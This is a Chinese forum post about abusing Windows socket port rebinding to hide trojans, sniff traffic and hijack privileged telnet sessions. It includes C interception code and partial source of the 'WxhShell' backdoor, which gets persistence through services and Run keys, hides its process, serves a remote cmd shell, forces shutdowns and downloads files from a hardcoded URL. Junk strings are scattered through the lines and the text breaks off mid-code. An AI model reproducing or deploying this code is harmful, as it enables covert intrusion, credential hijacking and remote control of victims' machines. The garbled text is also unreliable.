社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15603阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U5Rzfm4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {C 7=  
]RxNSr0e  
  saddr.sin_family = AF_INET; #Qkl| h  
CnAhEf)b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5e/%Tue.  
jJ9|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ow+NT  
Yd]f}5F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1W5YS +pf  
cZ5[A  T  
  这意味着什么?意味着可以进行如下的攻击: 2t_E\W7w+  
MEg|AhP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9~a_^m/  
~]N% {;F}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2PRGwK/  
ctj.rC)6n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j+s8V-7(  
u6I# D _  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C}45ZI4  
Rd2*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1V)0+_Yv  
Y8Mo.v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <&:3|2p  
\@5W&Be^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $U!w#|&  
x`a@h\ n  
  #include <OpiD%Ctx  
  #include e;Q~P]x  
  #include w:pc5N>we0  
  #include    NJn~XCq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gJ2R(YMF  
  int main() RL($h4d9  
  { 9n$$D;  
  WORD wVersionRequested; I4u'b?* je  
  DWORD ret; i;yz%Ug  
  WSADATA wsaData; -^C;WFh8)  
  BOOL val; #[J..i/h  
  SOCKADDR_IN saddr; K{HdqmxL.I  
  SOCKADDR_IN scaddr; bvZmo zbD  
  int err; }Dk_gom_  
  SOCKET s; L{aT"Of{X  
  SOCKET sc; ^ .>)*P  
  int caddsize; %Sj;:LC  
  HANDLE mt; T- JJc#  
  DWORD tid;   OG0ro(|dI  
  wVersionRequested = MAKEWORD( 2, 2 ); 0M pX.0  
  err = WSAStartup( wVersionRequested, &wsaData ); D7 A{*Tm  
  if ( err != 0 ) { ~d28"p.7  
  printf("error!WSAStartup failed!\n"); }k'8*v}8  
  return -1; HD Eqq  
  } )07M8o !^l  
  saddr.sin_family = AF_INET; QiY7m<3  
   tBdvk>d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 erqg|TsFj  
$yRbo '-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M=@U]1n*c  
  saddr.sin_port = htons(23); ==Ju2D?%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f'*HP%+Y  
  { c~@I1M  
  printf("error!socket failed!\n"); ?DM-C5$  
  return -1; dDAdZxd  
  } cND2(< jx:  
  val = TRUE; Wu%;{y~#}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G| ^tqI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }?"f#bI  
  { yU&A[DZQ  
  printf("error!setsockopt failed!\n"); B-JgXW.\0  
  return -1; CfA F.H  
  } S =eP/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *9*6n\~aI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <Eq^r h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q-Bci Bh$  
d7P| x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n8J';F =P  
  { [96|xe\s  
  ret=GetLastError(); 7?b'"X"  
  printf("error!bind failed!\n"); K@%.T#  
  return -1; 6<FJ`l]U9  
  } E9QNx6 2  
  listen(s,2); 7vgz=- MZ#  
  while(1) dEns|r  
  { =OTwP  
  caddsize = sizeof(scaddr); }4\>q$8'  
  //接受连接请求 X=_N7!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;\( wJ{u?Y  
  if(sc!=INVALID_SOCKET) ,c}Q;eYc3  
  { `<q{8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fytgS(?I'  
  if(mt==NULL) (~,Q-w"  
  { D6c4tA^EO  
  printf("Thread Creat Failed!\n"); 7RTp+FC]  
  break; dAohj QH:  
  } d(42ob.Tr  
  } O" n/.`  
  CloseHandle(mt); P#"vlNa  
  } %F1 Ce/  
  closesocket(s); 7teg*M{  
  WSACleanup(); ]@>bz  
  return 0; ]`]m41+w  
  }   cD]{ Nn  
  DWORD WINAPI ClientThread(LPVOID lpParam) L@9"6&  
  { "?n~ /9`  
  SOCKET ss = (SOCKET)lpParam; hZ5h(CQ?"#  
  SOCKET sc; Bu*ge~  
  unsigned char buf[4096]; Fp|x,-  
  SOCKADDR_IN saddr; m>:3Ku  
  long num; FtT+Q$q=  
  DWORD val; (Kv[~W7lb  
  DWORD ret; cqi: Rj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g@KS\.m]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "VB-=. A  
  saddr.sin_family = AF_INET; mp%i(Y"vp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o1-Zh!*a*  
  saddr.sin_port = htons(23); <JDkvpckx.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z3T:R"l;  
  { |Zncr9b  
  printf("error!socket failed!\n"); eB^:+h#A_  
  return -1; 5(tOQ%AQ  
  } IgQW 5E#  
  val = 100; !$f@j6.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f \[Z`D  
  { qP*$wKY,  
  ret = GetLastError(); :1s6h%evrT  
  return -1; '72ZLdi}-  
  } .pr-  ^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,z<\Z!+=  
  { %)u5A !"  
  ret = GetLastError(); \P+lb-~\"  
  return -1; Hq< Vk.Nk  
  } SPn0D9 b]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g_5:o 3s  
  { +mYD DlvI  
  printf("error!socket connect failed!\n"); rG}o!I`z  
  closesocket(sc); pkM_ @K  
  closesocket(ss); '$UlJDZ  
  return -1; cdf8YN0!  
  } =0MW+-  
  while(1) /0\m;&  
  { ] +LleS5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aB#qzrr['8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8lT.2H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b_z;^y~  
  num = recv(ss,buf,4096,0); y`!3Z} 7  
  if(num>0) f'TdYG  
  send(sc,buf,num,0); =uIu0_v  
  else if(num==0) 9^c\$"2B  
  break; zgJ%Zr!~  
  num = recv(sc,buf,4096,0); N?ky2wG  
  if(num>0) GadQ \>  
  send(ss,buf,num,0); 4-lEo{IIM  
  else if(num==0) d {T3  
  break; ;sS N  
  } YJ_LD6PL9  
  closesocket(ss); "fL:scq@0  
  closesocket(sc); th2a'y=0  
  return 0 ; ZH~T'Bg  
  } :W? 7J"  
?6; +.h\  
K #}DXq  
========================================================== BOoLs(p  
0Zs}y\J`  
下边附上一个代码,,WXhSHELL A|O7W|"W  
MrXhVZ"d*  
========================================================== L/_OgL]YdI  
Ir_K8 3VM  
#include "stdafx.h" W]4Gs;  
3<AZ,gF1  
#include <stdio.h> 9pb4!=g*  
#include <string.h> % tN{  
#include <windows.h> ez"Xb 7  
#include <winsock2.h> Z1wN+Y.CA  
#include <winsvc.h> oL2|@WNj,  
#include <urlmon.h> }`{aeVHT  
{]n5h#c 5*  
#pragma comment (lib, "Ws2_32.lib") @K7#}7,t  
#pragma comment (lib, "urlmon.lib") U:M?Ji5CY  
/0uZ(F|>I  
#define MAX_USER   100 // 最大客户端连接数 #e((F,1z  
#define BUF_SOCK   200 // sock buffer Mp:tcy,*  
#define KEY_BUFF   255 // 输入 buffer ^^qB=N[';  
H$9--p  
#define REBOOT     0   // 重启 Ont4-AP   
#define SHUTDOWN   1   // 关机 9_n!.zA<  
i<YatW~Pu  
#define DEF_PORT   5000 // 监听端口 |-bSoq7t  
cP''  
#define REG_LEN     16   // 注册表键长度 L6fc_Mo.EE  
#define SVC_LEN     80   // NT服务名长度 b?hdWQSW7  
7q<I7Wt  
// 从dll定义API QU2\gAM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  !NUsfd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rf+ogLa=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %`t;5kmR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }H&NR?Ax  
Tar tV3;`  
// wxhshell配置信息 (`>RwooE  
struct WSCFG { %K@D{ )r_^  
  int ws_port;         // 监听端口 G9TK)Nz  
  char ws_passstr[REG_LEN]; // 口令 2M3.xUS  
  int ws_autoins;       // 安装标记, 1=yes 0=no ++W_4 B!  
  char ws_regname[REG_LEN]; // 注册表键名 n4h@{Xg  
  char ws_svcname[REG_LEN]; // 服务名 }xJ9EE*G/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uvgv<OR`_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5 P9hm[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c{Nk"gEfRA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O['gp~P"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .cdm@_Ls  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OW<i"?0  
k6_RJ8I  
}; HeZ! "^w  
}#ZQ\[  
// default Wxhshell configuration RY2`v pv  
struct WSCFG wscfg={DEF_PORT, t,4q]Jt  
    "xuhuanlingzhe", \Lv eZ_h5  
    1, lpQsmd#  
    "Wxhshell", ~+d?d6*c  
    "Wxhshell", ( {ads_l  
            "WxhShell Service", XO~xbG7>gZ  
    "Wrsky Windows CmdShell Service", gQ %'2m+  
    "Please Input Your Password: ", I2hX;pk,  
  1, "Sz pFw  
  "http://www.wrsky.com/wxhshell.exe", ()6)|A<^U  
  "Wxhshell.exe" D^W6Cq5\  
    }; aL$m  
h?jy'>T?b2  
// 消息定义模块 `VCU`Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DBYD>UA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x_CB'Rr6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (.-3q;)6  
char *msg_ws_ext="\n\rExit."; % < D  
char *msg_ws_end="\n\rQuit."; OM*N)*  
char *msg_ws_boot="\n\rReboot..."; ;Y5"[C9|  
char *msg_ws_poff="\n\rShutdown..."; _I l/ i&  
char *msg_ws_down="\n\rSave to "; 4h\MSTF*  
QijEb  
char *msg_ws_err="\n\rErr!"; $m]~d6  
char *msg_ws_ok="\n\rOK!"; n*(Vf'k  
cVv+,l4 V0  
char ExeFile[MAX_PATH]; +/y 3]}  
int nUser = 0; )eop:!m  
HANDLE handles[MAX_USER]; }\k"azQ`  
int OsIsNt; -Qgu 6Ty  
]S<y,d-  
SERVICE_STATUS       serviceStatus; O?/\hZ"&c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i% 19|an  
n&Bolt(tO  
// 函数声明 e;\g[^U  
int Install(void); - } \g[|  
int Uninstall(void); C2NJrg4(  
int DownloadFile(char *sURL, SOCKET wsh); 12n5{'H2%  
int Boot(int flag); J;,6ydf8!  
void HideProc(void); jU |0!]  
int GetOsVer(void); Y4e64`V)  
int Wxhshell(SOCKET wsl); h?5$-#q~  
void TalkWithClient(void *cs);  s.&ewf\  
int CmdShell(SOCKET sock); C8>zr6)1  
int StartFromService(void); M/C7<?&  
int StartWxhshell(LPSTR lpCmdLine); Aq@_^mq1A  
q[`)A?Ae  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7Gd)=Q{uur  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AD^9?Z  
N>!RKf:ir  
// 数据结构和表定义 "PK\;#[W|  
SERVICE_TABLE_ENTRY DispatchTable[] = NXb_hF  
{ /( %Q  
{wscfg.ws_svcname, NTServiceMain}, _\waA^ F  
{NULL, NULL} -Zc 6_]F|  
}; RL7OFfMe  
p!BZTwP  
// 自我安装 cf)2GoV>e  
int Install(void) 0(\ybppx  
{ S^'?s fq  
  char svExeFile[MAX_PATH]; (dn(:<_$  
  HKEY key; dmI,+hHtL  
  strcpy(svExeFile,ExeFile); ;S5*n:d  
pv*u[ffi  
// 如果是win9x系统,修改注册表设为自启动 o?@,f/" 5  
if(!OsIsNt) { ~?4'{Hc'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l&2A]5C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5RCQ<1  
  RegCloseKey(key); c'B6E1}sx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v1%rlP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )X2=x^u*U  
  RegCloseKey(key); u~FXO[b  
  return 0; j H#Tt;  
    } ykcW>h  
  } 6!7LgM%4  
} Sd/?xyF1(  
else { d~@&*1}  
-jy- KC  
// 如果是NT以上系统,安装为系统服务 .^j6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X-&t!0O4}`  
if (schSCManager!=0) # le<R  
{ b-R!oP+vP  
  SC_HANDLE schService = CreateService g((glr)6M  
  ( M&o@~z0  
  schSCManager, fQ c%a1'  
  wscfg.ws_svcname, MUsF/1  
  wscfg.ws_svcdisp, ka? |_(  
  SERVICE_ALL_ACCESS, vHSX3\(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fWiefv[&  
  SERVICE_AUTO_START, C9>tj=yEY  
  SERVICE_ERROR_NORMAL, Sn=|Q4ZN  
  svExeFile, -3`S;Dmn  
  NULL, ?;Dh^mc  
  NULL, /4{ 6`  
  NULL, 'X&sH/>r  
  NULL, ov&4&v  
  NULL I@IZ1 /J,r  
  ); by; %k/  
  if (schService!=0) \cmt'b  
  {  U, _nEx  
  CloseServiceHandle(schService); 1sx@Nvlb  
  CloseServiceHandle(schSCManager); ^]:w5\DG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LdxrS5  
  strcat(svExeFile,wscfg.ws_svcname); `F5iZWW1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8sb<$M$c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #G2~#\  
  RegCloseKey(key); (#x <qi,T  
  return 0; .w=( G  
    } Y/cnj n  
  } }pOL[$L  
  CloseServiceHandle(schSCManager); (3 xCW  
} ;mH O#  
} <>JN&#3?  
NFq&a i  
return 1; .y'iF>QQ\  
} 6\>S%S2:  
5|S|S))_Q  
// 自我卸载 Pqiw[+a$  
int Uninstall(void) &|>CW:)&1"  
{ .%)FK#s-  
  HKEY key; ;Q"xXT`;:  
Ay\=&4dv  
if(!OsIsNt) {  eX7dyM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~/Gx~P]  
  RegDeleteValue(key,wscfg.ws_regname); =kvfe" N0e  
  RegCloseKey(key); HE GMwRJG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n,D~ whZx  
  RegDeleteValue(key,wscfg.ws_regname); y'\BpP  
  RegCloseKey(key); wBz?OnD/D  
  return 0; +-tvNX%IJ  
  } .^6;_s>FN  
} a+A^njk  
} +oa\'.~?  
else { ,#&\1Vxf  
KwGk8$ U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gB/4ro8  
if (schSCManager!=0) S+(TRIjk  
{ #'5|$ug[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ):"Z7~j=  
  if (schService!=0) umPd+5i  
  { Q;r9>E!  
  if(DeleteService(schService)!=0) { 48;6C g  
  CloseServiceHandle(schService); ct,B0(]  
  CloseServiceHandle(schSCManager); *J[3f]PBmR  
  return 0; CqW:m*c  
  } ?d@3y<A,~  
  CloseServiceHandle(schService); _'pow&w~  
  } $="t7C9S  
  CloseServiceHandle(schSCManager); 2R9AYI  
} 533n z8&9@  
} E"d\N-I  
k#mQLv  
return 1; 1>hY!nG h  
} y/U(v"'4U  
g'2'K  
// 从指定url下载文件 %04N"^mT'~  
int DownloadFile(char *sURL, SOCKET wsh) :`('lrq  
{ #[ZF'9x  
  HRESULT hr; Ik[aiz  
char seps[]= "/"; Ay?KE{Qs '  
char *token; B \?We\y  
char *file; Yq~$Q4  
char myURL[MAX_PATH]; 7ux0|l  
char myFILE[MAX_PATH]; {OFbU  
cp D=9k!*K  
strcpy(myURL,sURL); 0($@9k4!/  
  token=strtok(myURL,seps); \@G 7Kk*l  
  while(token!=NULL) X!=E1TL  
  { )P&>Tc?;z  
    file=token; dkTewT6'  
  token=strtok(NULL,seps); M"cB6{st[  
  } JjBG9Rp{  
QwF\s13  
GetCurrentDirectory(MAX_PATH,myFILE); U*Q1(C  
strcat(myFILE, "\\"); Dn{ hU $*  
strcat(myFILE, file); )qXl8HI  
  send(wsh,myFILE,strlen(myFILE),0); @9-/p^n1  
send(wsh,"...",3,0); 2.''Nt6|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fL^+Qb}  
  if(hr==S_OK) ODS8bD0!i  
return 0; $ = uz  
else b6KO_s:'g  
return 1; K@uUe3  
{+D 6o  
} E?$|`<o{|`  
%:61@<  
// 系统电源模块 tE&@U$0>o  
int Boot(int flag) ""AP-7  
{ Q[g>ee  
  HANDLE hToken; S b0p?  
  TOKEN_PRIVILEGES tkp; ,'=Tf=wq  
#<_gY  
  if(OsIsNt) { sK1YmB :~a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oWCy%76@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4sU*UePr  
    tkp.PrivilegeCount = 1; j?!BHNs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~Sq!P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  :{#%_^}k  
if(flag==REBOOT) { \}CQo0v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |%wgux`z  
  return 0; lqD.epm  
} t9zPUR  
else { eK<X7m^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) syuW>Z8s  
  return 0; E0F8FR'  
} 2oY.MQD7iW  
  } 4J#F;#iA  
  else { +y%"[6c|  
if(flag==REBOOT) { lrn3yDkR?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (~C_zG  
  return 0; c!,&]*h"k  
} R^_7B(  
else { q> ;u'3}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PvmmyF  
  return 0; }b$?t7Q)  
} e_eNtVq  
} j$2rU'  
cJ CKxj  
return 1; +ZuT\P&kR5  
} I+qg'mo  
:0G_n\  
// win9x进程隐藏模块 977%9z<h  
void HideProc(void) +Ce[OG.  
{ M84{u!>[  
=bn(9Gm!J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .9":Ljs(L  
  if ( hKernel != NULL ) 6Z5X?B  
  { Ino$N|G[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^,P# <,D,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ->BGeP_=|  
    FreeLibrary(hKernel); Y|'0bujr  
  } 9\yGv  
HR.^ y$IE  
return; X@ zw;Se  
} yH\3*#+  
'VgdQp$L$  
// 获取操作系统版本  O=,[u?  
int GetOsVer(void) uL\b*rI  
{ jkTh)Bm|'  
  OSVERSIONINFO winfo; P}YtT3. K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *u?QO4>  
  GetVersionEx(&winfo); 2#<)-Cak  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kTC'`xv  
  return 1; :K:oH}4oh  
  else :htz]  
  return 0; bc+~g>o  
} JbV\eE#KrC  
2sezZeMV  
// 客户端句柄模块 tHhau.!  
int Wxhshell(SOCKET wsl) s} I8:ufT  
{ W0zRV9"P  
  SOCKET wsh; ]xx}\k  
  struct sockaddr_in client; F&tU^(7<  
  DWORD myID; Dd:TFZo  
4tQ~Z6Jn;  
  while(nUser<MAX_USER) C:*=tD1  
{ %anY'GK   
  int nSize=sizeof(client); fU6O:-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Xw6]d  
  if(wsh==INVALID_SOCKET) return 1; 3MmpB9l#H  
(D\7EH\9,]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n@TK}?\UoR  
if(handles[nUser]==0) Su4&qY  
  closesocket(wsh); Aof)WKo  
else R6(sWN-  
  nUser++; \ F\ /<  
  } e_<'zH_1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W2$MH: j  
O c[F  
  return 0; $ \yZ;Z:  
} j_(DH2D  
&["s/!O1R  
// 关闭 socket }?\8%hK"a7  
void CloseIt(SOCKET wsh) t!=qt*  
{ P{bRRn4Z  
closesocket(wsh); GiZv0>*x  
nUser--; Mr0<b?I  
ExitThread(0); <W>T!;4!  
} 8 vp*U  
|w{}h6 a  
// 客户端请求句柄 pmWt7 }  
void TalkWithClient(void *cs) +jEtu[ ;  
{ 9}[UZN6  
Q.U wtH  
  SOCKET wsh=(SOCKET)cs; '3p7ee&  
  char pwd[SVC_LEN]; J1s~w`,  
  char cmd[KEY_BUFF]; EbfE/_I  
char chr[1]; 1*aO2dOq  
int i,j; B~CdY}UTsj  
?Z0NHy;5  
  while (nUser < MAX_USER) { zu,F 0;De  
PeX^aEc  
if(wscfg.ws_passstr) { /e:kBjysJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |]Eli%mNe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F3?PlH:Y  
  //ZeroMemory(pwd,KEY_BUFF);  kS7`g A  
      i=0; QX`T-)T e  
  while(i<SVC_LEN) { wv7XhY}  
hZ[(Ik]*Zd  
  // 设置超时 Ah?,9r=U  
  fd_set FdRead; ^t$xR_  
  struct timeval TimeOut; @^2?97i c  
  FD_ZERO(&FdRead); O x),jc[/  
  FD_SET(wsh,&FdRead); +W%3VV$  
  TimeOut.tv_sec=8; %w3Y!7+  
  TimeOut.tv_usec=0; 4:I'zR5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^pysoaZCT_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); svaclkT=  
*y0=sG1+D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R1/h<I:  
  pwd=chr[0]; $(r/N"6)O2  
  if(chr[0]==0xd || chr[0]==0xa) { V0/PjD,jP  
  pwd=0; T2dv!}7p  
  break; QVR8b3T@  
  } L25v7U  
  i++; {@&%Bq*&  
    } xXRlQ|84  
ng{ "W|  
  // 如果是非法用户,关闭 socket u)4eu,MBT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \-W|)H  
} Q1'4xWu  
r$cq2pkX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4G_At  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M%z$yU`ac  
qRc Y(mb  
while(1) { Q H 57[Yg  
>Y6iLQ$X  
  ZeroMemory(cmd,KEY_BUFF); pQNTN.L9NZ  
L)z`  
      // 自动支持客户端 telnet标准   1EemVZdY  
  j=0; +B&,$ceyaJ  
  while(j<KEY_BUFF) { '* eeup  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b6?&h:{k  
  cmd[j]=chr[0]; (MGYX_rD  
  if(chr[0]==0xa || chr[0]==0xd) { EY^+ N>  
  cmd[j]=0; X-<l+WP  
  break; JC.nfxG@:  
  } .Cz9?]jyI  
  j++; _+6aD|7x  
    } J3z:U&%=  
Fl}{"eCF8  
  // 下载文件 <}Hs@`jS  
  if(strstr(cmd,"http://")) { n)uck5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M-V{(  
  if(DownloadFile(cmd,wsh)) #8/pYQ;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UbEK2&q/8  
  else DLH|y%"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vACJE  
  } \(&UDG$  
  else { :[J'B4>9  
mv{bX|.  
    switch(cmd[0]) { G -V~6  
   va [r~  
  // 帮助 928uGo5  
  case '?': { l{mC|8X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EdTR]}8  
    break; B2^*Sr[  
  } ?`/DFI'_G  
  // 安装 WyU\,"  
  case 'i': { %PlA9@:IZ  
    if(Install()) [T(`+ #f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O8k+R@  
    else z'9U.v'M)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +`f3_Xd  
    break; <lgX=wx L  
    } vLs*}+f  
  // 卸载 c->.eL%   
  case 'r': { (b8ZADI*  
    if(Uninstall()) rHp2I6.0a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2) @o >w  
    else 0fog/c#q(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BMO&(g  
    break; >zo_}A!  
    } rlQ=rNrG&E  
  // 显示 wxhshell 所在路径 wE3fKG.  
  case 'p': { LUzn7FZk  
    char svExeFile[MAX_PATH]; 2GxkOch  
    strcpy(svExeFile,"\n\r"); Z 5 Xis"j  
      strcat(svExeFile,ExeFile); kfgkZ"9  
        send(wsh,svExeFile,strlen(svExeFile),0); PJL [En*  
    break; D@)L?AB1f  
    } @y2cC6+'t  
  // 重启 oc"7|YG  
  case 'b': { FGzn|I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X@ S~D7|ja  
    if(Boot(REBOOT)) q.bx nta"  
